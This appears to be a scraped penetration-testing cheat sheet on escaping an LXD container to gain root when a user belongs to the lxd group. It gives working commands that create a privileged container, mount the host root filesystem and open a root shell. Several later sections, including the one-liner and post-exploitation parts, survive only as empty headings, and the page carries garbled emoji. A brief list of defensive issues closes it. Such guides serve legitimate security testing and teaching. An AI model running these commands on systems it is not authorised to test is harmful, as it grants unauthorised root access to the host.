π³LXD Container Escape
π― Overview
LXD (Linux Daemon) container manager can be exploited for privilege escalation when user is member of lxd group through privileged container creation and host filesystem mounting.
π Prerequisites
Check LXD Group Membership
# Check if user is in lxd group
id | grep lxd
groups | grep lxd
# Example output:
# uid=1000(user) gid=1000(user) groups=1000(user),116(lxd)π Exploitation Methods
Method 1: Existing Container Image
# List available images
lxc image list
# If image exists, create privileged container
lxc init image_name privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/bash
# Access host filesystem as root
cd /mnt/root/rootMethod 2: Import Custom Image
Method 3: Build Alpine Image (if needed)
π§ LXD Initialization
First-time Setup
π― Post-Exploitation
Host System Access
π Detection & Enumeration
Quick LXD Check Script
LXD Service Check
π Quick Reference
Immediate Checks
Emergency Escalation
One-liner Escalation
β οΈ Defensive Considerations
LXD Security Issues
Group membership automatically grants container privileges
Privileged containers bypass security isolation
Host filesystem access via device mounting
No password required for lxd group members
Hardening Recommendations
LXD group membership provides a direct path to root privileges through privileged container creation - the isolation boundary disappears when containers can mount the host filesystem with root access.
Last updated